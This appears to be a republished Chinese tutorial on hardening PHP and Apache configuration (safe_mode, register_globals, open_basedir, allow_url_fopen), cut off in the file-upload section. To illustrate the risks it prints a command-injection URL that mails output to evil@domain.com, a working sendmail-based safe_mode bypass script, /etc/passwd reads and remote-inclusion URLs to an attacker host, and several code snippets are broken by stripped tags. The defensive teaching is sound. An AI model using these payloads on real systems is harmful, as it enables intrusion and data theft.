PHP保险配置

WBOY
WBOYOriginal
2016-06-13 13:25:321118browse

PHP安全配置
一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台,所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

1、远程溢出

PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞,而且攻击程序已经广泛流传,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、远程拒绝服务

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞,虽然不能获得本地用户权限,但是也能造成拒绝服务。

3、safe_mode绕过漏洞

还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞,4.0.5版本开始mail函数增加了第五个参数,由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单,只需用分号隔开后面加shell命令就可以了,比如存在PHP脚本evil.php:

mail("foo@bar,"foo","bar","",$bar); ?>

执行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

这将id执行的结果发送给evil@domain.com。

对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数,所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令:


# 注意,下面这两个必须是不存在的,或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活,可以通过php.ini, httpd.conf, .htaccess文件(该目录必须设置了AllowOverride All或Options)进行设置,还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。

如果配置选项是唯一PHP_INI_SYSTEM属性的,必须通过php.ini和httpd.conf来修改,它们修改的是PHP的Master值,但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效,httpd.conf里设置的选项是对该定义的目录下所有脚本生效。

如果还有其他的PHP_INI_USER,  PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置,也可以通过在脚本程序自身用ini_set()函数设定,它们修改的是Local值,改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效,ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同,可以用如下命令查找当前源代码的main.c文件得到所有的选项,以及它的属性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在讨论PHP安全配置之前,应该好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性,必须通过php.ini或httpd.conf来设置。要启用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定义目录:


   Options FollowSymLinks
   php_admin_value safe_mode 1


重启apache后safe_mode就生效了。启动safe_mode,会对许多PHP函数进行限制,特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件,比如test.php脚本的内容为:



几个文件的属性如下:

# ls -la
total 13
drwxr-xr-x    2 root     root          104 Jul 20 01:25 .
drwxr-xr-x   16 root     root          384 Jul 18 12:02 ..
-rw-r--r--    1 root     root         4110 Oct 26  2002 index.html
-rw-r--r--    1 www-data www-data       41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致,那么该文件的UID即使和脚本不同也可以访问的,不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途,绝对禁止使用root做为php脚本的属主,这样就达不到safe_mode的效果了。

如果想将其放宽到GID比较,则打开 safe_mode_gid可以考虑只比较文件的GID,可以设置如下选项:

safe_mode_gid = On

设置了safe_mode以后,所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序,而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序,可以在php.ini做如下设置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录,那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string
当从此目录及其子目录(目录必须在 include_path 中或者用完整路径来包含)包含文件时越过 UID/GID 检查。

从 PHP 4.2.0 开始,本指令可以接受和 include_path 指令类似的风格用分号隔开的路径,而不只是一个目录。

指定的限制实际上是一个前缀,而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”,如果它们存在。如果您希望将访问控制在一个指定的目录,那么请在结尾加上一个斜线,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下,用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下,用户只能设置以 PHP_ 开头的环境变量(例如 PHP_FOO = BAR)。

注: 如果本指令为空,PHP 将使用户可以修改任何环境变量!

safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表,最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。

虽然safe_mode不是万能的(低版本的PHP可以绕过),但还是强烈建议打开安全模式,在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制,可能对应用带来影响,所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

讨论完safe_mode后,下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。

2、变量滥用

PHP默认register_globals = On,对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"(可以通过php.ini修改),同名变量variables_order右边的覆盖左边,所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯,像如下的程序片断就极易受到攻击:


//test_1.php

if ($pass == "hello")
    $auth = 1;

if ($auth == 1)
    echo "some important information";
else
    echo "nothing";
?>

攻击者只需用如下的请求就能绕过检查:
http://victim/test_1.php?auth=1

这虽然是一个很弱智的错误,但一些著名的程序也有犯过这种错误,比如phpnuke的远程文件拷贝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0发布的时候建议关闭register_globals,并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量,必需通过数组变量来存取。PHP-4.2.0发布的时候,php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值,一般为0,避免了攻击者控制判断变量。

解决方法:

配置文件php.ini设置register_globals = Off。

要求程序员对作为判断的变量在程序最开始初始化一个值。

3、文件打开

极易受攻击的代码片断:


//test_2.php

if (!($str = readfile("$filename"))) {
    echo("Could not open file: $filename
\n");
    exit;
}
else {
    echo $str;
}
?>

由于攻击者可以指定任意的$filename,攻击者用如下的请求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下请求可以读php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打开函数还有fopen(), file()等,如果对文件名变量检查不严就会造成服务器重要文件被访问读取。

解决方法:

如非特殊需要,把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子:


    php_admin_value open_basedir /usr/local/apache/htdocs


重启apache后,/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了,否则PHP就会报错:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免这种问题,前面已经讨论过了。

4、包含文件

极易受攻击的代码片断:


//test_3.php

if(file_exists($filename))
    include("$filename");
?>

这种不负责任的代码会造成相当大的危害,攻击者用如下请求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果对于Unix版的PHP(Win版的PHP不支持远程打开文件)攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件,如http://attack/attack.txt的内容是,那么如下的请求就可以在目标主机执行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码,不过由于干扰信息太多,有时不易成功。
对于另外一种形式,如下代码片断:


//test_4.php

include("$lib/config.php");
?>

攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件,然后用如下请求也可以在目标主机执行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险,可以远程执行命令。

解决方法:

要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定。

如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:

allow_url_fopen = Off

重启apache。

5、文件上传

php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录(默认是系统的临时目录,如:/tmp)里的一个类似phpxXuoXG的随机临时文件,程序执行结束,该临时文件也被删除。PHP给上传的文件定义了四个变量:(如form变量名是file,而且register_globals打开)

$file        #就是保存到服务器端的临时文件(如/tmp/phpxXuoXG )
$file_size    #上传文件的大小
$file_name    #上传文件的原始名称
$file_type    #上传文件的类型

推荐使用:

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

这是一个最简单的文件上传代码:


//test_5.php

if(isset($upload) && $file != "none") {
    copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
    echo "文件".$file_name."上传成功!点击继续上传";
    exit;
}
?>


文件上传




Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn